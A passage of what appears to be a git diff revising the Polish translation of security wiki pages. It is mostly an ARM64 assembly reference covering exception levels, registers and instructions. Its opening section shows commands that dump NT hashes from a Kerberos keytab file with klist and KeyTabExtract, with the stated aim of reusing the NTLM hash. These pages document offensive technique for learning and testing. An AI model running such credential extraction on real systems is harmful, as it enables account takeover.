roota, są bezpiecznie przechowywane w plikach **`/etc/krb5.keytab`**. Klucze te, podobnie jak hasła dla usług, wymagają ścisłej poufności. -Aby sprawdzić zawartość pliku keytab, można użyć **`klist`**. Narzędzie to jest zaprojektowane do wyświetlania szczegółów kluczy, w tym **NT Hash** dla uwierzytelniania użytkowników, szczególnie gdy typ klucza jest identyfikowany jako 23. +Aby sprawdzić zawartość pliku keytab, można użyć **`klist`**. Narzędzie to jest zaprojektowane do wyświetlania szczegółów kluczy, w tym **NT Hash** do uwierzytelniania użytkowników, szczególnie gdy typ klucza jest identyfikowany jako 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` -Dla użytkowników Linuxa, **`KeyTabExtract`** oferuje funkcjonalność do ekstrakcji hasha RC4 HMAC, który można wykorzystać do ponownego użycia hasha NTLM. +Dla użytkowników systemu Linux, **`KeyTabExtract`** oferuje funkcjonalność do ekstrakcji hasha RC4 HMAC, który można wykorzystać do ponownego użycia hasha NTLM. ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index ef4445d91..1829196de 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -7,8 +7,8 @@ W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), definiują poziom uprawnień i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy ma inny cel: 1. **EL0 - Tryb Użytkownika**: -- Jest to poziom o najmniejszych uprawnieniach i jest używany do wykonywania zwykłego kodu aplikacji. -- Aplikacje działające na poziomie EL0 są izolowane od siebie i od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność. +- Jest to poziom o najmniejszych uprawnieniach i służy do wykonywania zwykłego kodu aplikacji. +- Aplikacje działające na poziomie EL0 są od siebie izolowane oraz od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność. 2. **EL1 - Tryb Jądra Systemu Operacyjnego**: - Większość jąder systemów operacyjnych działa na tym poziomie. - EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu. @@ -16,7 +16,7 @@ W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), def - Ten poziom jest używany do wirtualizacji. Hypervisor działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym sprzęcie fizycznym. - EL2 zapewnia funkcje izolacji i kontroli wirtualizowanych środowisk. 4. **EL3 - Tryb Monitorowania Bezpieczeństwa**: -- Jest to poziom o najwyższych uprawnieniach i jest często używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych. +- Jest to poziom o najwyższych uprawnieniach i często jest używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych. - EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny itp.). Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzania różnymi aspektami systemu, od aplikacji użytkownika po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprawnień pomaga w skutecznym izolowaniu różnych komponentów systemu, co zwiększa bezpieczeństwo i odporność systemu. @@ -25,37 +25,37 @@ Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzan ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych od `x0` do `x30`. Każdy z nich może przechowywać wartość **64-bitową** (8-bajtową). W przypadku operacji, które wymagają tylko wartości 32-bitowych, te same rejestry mogą być używane w trybie 32-bitowym, używając nazw w0 do w30. -1. **`x0`** do **`x7`** - Zwykle używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów. -- **`x0`** również przenosi dane zwracane przez funkcję. -2. **`x8`** - W jądrze Linuxa, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest x16!** +1. **`x0`** do **`x7`** - Zwykle są używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów. +- **`x0`** również przenosi dane zwrotne funkcji. +2. **`x8`** - W jądrze Linux, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest `x16`!** 3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych. 4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Rejestry tymczasowe dla wartości natychmiastowych. Są również używane do pośrednich wywołań funkcji i stubów PLT (Tabela Łączenia Procedur). - **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**. -5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do specyficznych zastosowań platformy: wskaźnik do bloku środowiska wątku w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze Linuxa**. +5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do specyficznych zastosowań platformy: wskaźnik do bloku środowiska wątku w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze Linux**. 6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływaną funkcję. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego. 7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu z powodu wywołania funkcji, rejestr **`x29`** jest **przechowywany na stosie**, a adres **nowego** wskaźnika ramki (adres **`sp`**) jest **przechowywany w tym rejestrze**. - Ten rejestr może być również używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**. -8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotu**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze. +8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotny**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze. - Może być również używany jak każdy inny rejestr. -- Jeśli bieżąca funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj przestrzeń i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć). -9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia szczytu stosu. +- Jeśli aktualna funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj przestrzeń i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć). +9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia wierzchołka stosu. - Wartość **`sp`** powinna być zawsze utrzymywana co najmniej w **wyrównaniu quadword**, w przeciwnym razie może wystąpić wyjątek wyrównania. 10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko przez generowanie wyjątków, zwroty wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z łącznikiem (BL, BLR), aby przechować adres **`pc`** w **`lr`** (Rejestr Łączenia). -11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`**, jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**). +11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`** jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**). -Rejestry **`Wn`** są **32-bitową** wersją rejestru **`Xn`**. +Rejestry **`Wn`** są **32-bitową** wersją rejestrów **`Xn`**. ### Rejestry SIMD i zmiennoprzecinkowe -Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (jedna instrukcja, wiele danych) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitowym, **32**-bitowym, **16**-bitowym i **8**-bitowym, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**. +Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (Single Instruction Multiple Data) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitach, **32**-bitach, **16**-bitach i **8**-bitach, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**. ### Rejestry systemowe -**Istnieją setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\ +**Istnieją setki rejestrów systemowych**, zwanych również rejestrami o specjalnym przeznaczeniu (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\ Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**. -Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 jest regularnym poziomem wyjątku (uprawnień), na którym działają zwykłe programy).\ -Często są używane do przechowywania **adresu bazowego lokalizacji pamięci** dla przechowywania lokalnego wątku. Zazwyczaj pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro). +Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 to regularny poziom wyjątku (uprawnienia), na którym działają zwykłe programy).\ +Często są używane do przechowywania **adresu bazowego lokalizacji pamięci** dla przechowywania lokalnego wątku. Zwykle pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro). - `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0` - `msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0` @@ -81,11 +81,11 @@ Oto dostępne pola: > Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne, które mają sufiks s, takie jak **`ADDS`**, również to robią. - Flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonawczym AArch64 po wznowieniu. -- Bieżący **Poziom Wyjątków** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0. +- Aktualny **Poziom Wyjątków** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0. - Flaga **jednoetapowego** (**`SS`**): Używana przez debugery do jednoetapowego wykonania, ustawiając flagę SS na 1 wewnątrz **`SPSR_ELx`** przez wyjątek. Program wykona krok i wyda wyjątek jednoetapowy. -- Flaga **nielegalnego stanu wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego. +- Flaga stanu **nielegalnego wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego. - Flagi **`DAIF`**: Te flagi pozwalają programowi z uprawnieniami na selektywne maskowanie niektórych zewnętrznych wyjątków. -- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związana z **szybkimi żądaniami przerwań** (FIR). +- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwania sprzętowego (IRQ). Flaga F jest związana z **szybkimi żądaniami przerwania** (FIR). - Flagi **wyboru wskaźnika stosu** (**`SPS`**): Programy z uprawnieniami działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a wskaźnikiem modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie odbywa się przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0. ## **Konwencja Wywołań (ARM64v8)** @@ -100,22 +100,22 @@ Swift ma swoją własną **konwencję wywołań**, którą można znaleźć w [* ## **Typowe Instrukcje (ARM64v8)** -Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (taka jak `add`, `sub`, `mov` itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych. +Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (taka jak `add`, `sub`, `mov` itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych. - **`mov`**: **Przenieś** wartość z jednego **rejestru** do drugiego. - Przykład: `mov x0, x1` — To przenosi wartość z `x1` do `x0`. - **`ldr`**: **Załaduj** wartość z **pamięci** do **rejestru**. - Przykład: `ldr x0, [x1]` — To ładuje wartość z lokalizacji pamięci wskazywanej przez `x1` do `x0`. -- **Tryb offsetu**: Wskazuje na offset wpływający na oryginalny wskaźnik, na przykład: -- `ldr x2, [x1, #8]`, to załaduje w x2 wartość z x1 + 8 -- `ldr x2, [x0, x1, lsl #2]`, to załaduje w x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4 +- **Tryb offsetu**: Wskazuje na offset wpływający na wskaźnik oryginalny, na przykład: +- `ldr x2, [x1, #8]`, to załaduje do x2 wartość z x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4 - **Tryb wstępnie indeksowany**: To zastosuje obliczenia do oryginału, uzyska wynik i również przechowa nowy oryginał w oryginale. -- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` w `x2` i przechowa w x1 wynik `x1 + 8` +- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i przechowa w x1 wynik `x1 + 8` - `str lr, [sp, #-4]!`, Zapisz rejestr łączenia w sp i zaktualizuj rejestr sp -- **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest uzyskiwany, a następnie obliczany i przechowywany jest offset. -- `ldr x0, [x1], #8`, załaduj `x1` w `x0` i zaktualizuj x1 z `x1 + 8` +- **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest dostępny, a następnie obliczany i przechowywany jest offset. +- `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 z `x1 + 8` - **Adresowanie względne do PC**: W tym przypadku adres do załadowania jest obliczany w odniesieniu do rejestru PC -- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do bieżącego PC. +- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do aktualnego PC. - **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**. - Przykład: `str x0, [x1]` — To zapisuje wartość w `x0` do lokalizacji pamięci wskazywanej przez `x1`. - **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze. @@ -130,7 +130,7 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o - Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy) - \[shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX - Przykład: `add x0, x1, x2` — To dodaje wartości w `x1` i `x2` razem i przechowuje wynik w `x0`. -- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000 +- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięcie 12 razy) -> 1 0000 0000 0000 0000 - **`adds`** To wykonuje `add` i aktualizuje flagi - **`sub`**: **Odejmij** wartości dwóch rejestrów i przechowaj wynik w rejestrze. - Sprawdź **`add`** **składnię**. @@ -143,52 +143,52 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **Logiczne przesunięcie w lewo**: Dodaj 0 z końca, przesuwając inne bity do przodu (mnożenie przez n razy 2) - **Logiczne przesunięcie w prawo**: Dodaj 1 na początku, przesuwając inne bity do tyłu (dzielenie przez n razy 2 w bez znaku) -- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (\*\*dzielenie przez n razy 2 w ze znakiem) -- **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej strony jest dodawane z lewej -- **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Tak więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia. +- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (dzielenie przez n razy 2 w ze znakiem) +- **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej jest dodawane do lewej +- **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia. - **`bfm`**: **Przesunięcie Bitowe**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję najbardziej lewego bitu**, a **`#r`** ilość przesunięcia w prawo. - Przesunięcie bitowe: `BFM Xd, Xn, #r` - Przesunięcie bitowe ze znakiem: `SBFM Xd, Xn, #r, #s` - Przesunięcie bitowe bez znaku: `UBFM Xd, Xn, #r, #s` - **Ekstrakcja i Wstawianie Bitów:** Kopiuje pole bitowe z rejestru i wstawia je do innego rejestru. - **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 z 3. bitu X1 -- **`BFXIL X1, X2, #3, #4`** Ekstrahuje 4 bity z 3. bitu X2 i kopiuje je do X1 +- **`BFXIL X1, X2, #3, #4`** Ekstrahuje z 3. bitu X2 cztery bity i kopiuje je do X1 - **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bitów z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity - **`SBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2, rozszerza je ze znakiem i umieszcza wynik w X1 -- **`UBFIZ X1, X2, #3, #4`** Zeruje 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity -- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik z rozszerzeniem zerowym w X1. +- **`UBFIZ X1, X2, #3, #4`** Rozszerza 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity +- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza rozszerzony wynik w X1. - **Rozszerzenie znaku do X:** Rozszerza znak (lub dodaje tylko 0 w wersji bez znaku) wartości, aby móc wykonywać operacje z nią: -- **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` jest połową `X2`) aby wypełnić 64 bity +- **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) aby wypełnić 64 bity - **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** aby wypełnić 64 bity - **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** aby wypełnić 64 bity - **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** aby wypełnić 64 bity - **`extr`:** Ekstrahuje bity z określonej **pary rejestrów połączonych**. -- Przykład: `EXTR W3, W2, W1, #3` To **łączy W1+W2** i uzyskuje **z bitu 3 W2 do bitu 3 W1** i przechowuje to w W3. +- Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i uzyska **od bitu 3 W2 do bitu 3 W1** i przechowa to w W3. - **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. To jest **alias `subs`** ustawiający rejestr docelowy na rejestr zerowy. Przydatne do sprawdzenia, czy `m == n`. - Obsługuje **tę samą składnię co `subs`** - Przykład: `cmp x0, x1` — To porównuje wartości w `x0` i `x1` i ustawia flagi warunkowe odpowiednio. - **`cmn`**: **Porównaj operand ujemny**. W tym przypadku to jest **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`. - **`ccmp`**: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy wcześniejsze porównanie było prawdziwe i specjalnie ustawi bity nzcv. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do func -- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzedni `cmp` był `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie zaspokoi porównania `blt`). -- Może to być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` vs `cmn`). +- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni porównania `blt`). +- Może być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` w porównaniu do `cmn`). - **`tst`**: Sprawdza, czy którakolwiek z wartości porównania jest równa 1 (działa jak ANDS bez przechowywania wyniku gdziekolwiek). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którakolwiek z bitów rejestru wskazanych w wartości jest równa 1. -- Przykład: `tst X1, #7` Sprawdź, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1 -- **`teq`**: Operacja XOR, zrzucając wynik +- Przykład: `tst X1, #7` Sprawdza, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1 +- **`teq`**: Operacja XOR, ignorując wynik - **`b`**: Bezwarunkowy skok - Przykład: `b myFunction` -- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić) -- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotu w `x30`**. -- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotu w `x30`. -- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić) -- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotu w `x30`. (To jest -- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotu w `x30`. +- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić) +- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotny w `x30`**. +- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotny w `x30`. +- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić) +- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotny w `x30`. (To jest +- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotny w `x30`. - **`ret`**: **Powrót** z **podprogramu**, zazwyczaj używając adresu w **`x30`**. -- Przykład: `ret` — To wraca z bieżącego podprogramu, używając adresu zwrotu w `x30`. +- Przykład: `ret` — To wraca z aktualnego podprogramu, używając adresu zwrotnego w `x30`. - **`b.`**: Skoki warunkowe -- **`b.eq`**: **Skok, jeśli równo**, na podstawie poprzedniej instrukcji `cmp`. +- **`b.eq`**: **Skok, jeśli równe**, na podstawie poprzedniej instrukcji `cmp`. - Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`. -- **`b.ne`**: **Skok, jeśli nie równo**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu. +- **`b.ne`**: **Skok, jeśli nie równe**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu. - Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, to skacze do `label`. - **`cbz`**: **Porównaj i skocz, jeśli zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu. - Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, to skacze do `label`. @@ -198,7 +198,7 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o - Przykład: `tbnz x0, #8, label` - **`tbz`**: Testuj bit i skocz, jeśli zero - Przykład: `tbz x0, #8, label` -- **Operacje wyboru warunkowego**: To operacje, których zachowanie zmienia się w zależności od bitów warunkowych. +- **Operacje wyboru warunkowego**: To są operacje, których zachowanie zmienia się w zależności od bitów warunkowych. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Jeśli prawda, X0 = X1, jeśli fałsz, X0 = X2 - `csinc Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = Xm + 1 - `cinc Xd, Xn, cond` -> Jeśli prawda, Xd = Xn + 1, jeśli fałsz, Xd = Xn @@ -210,8 +210,8 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o - `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \, jeśli fałsz, Xd = 0 - **`adrp`**: Oblicz **adres strony symbolu** i przechowaj go w rejestrze. - Przykład: `adrp x0, symbol` — To oblicza adres strony symbolu i przechowuje go w `x0`. -- **`ldrsw`**: **Załaduj** wartość **32-bitową** ze znakiem z pamięci i **rozszerz ją do 64** bitów. -- Przykład: `ldrsw x0, [x1]` — To ładuje wartość 32-bitową ze znakiem z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`. +- **`ldrsw`**: **Załaduj** podpisaną **32-bitową** wartość z pamięci i **rozszerz ją do 64** bitów. +- Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną 32-bitową wartość z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`. - **`stur`**: **Zapisz wartość rejestru do lokalizacji pamięci**, używając offsetu z innego rejestru. - Przykład: `stur x0, [x1, #4]` — To zapisuje wartość w `x0` do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w `x1`. - **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, **przechodzi z trybu użytkownika do trybu jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się **kod obsługi wywołań systemowych jądra**. @@ -240,13 +240,13 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze linków) +3. **Return**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze linku) ## Stan Wykonania AARCH32 Armv8-A wspiera wykonanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: 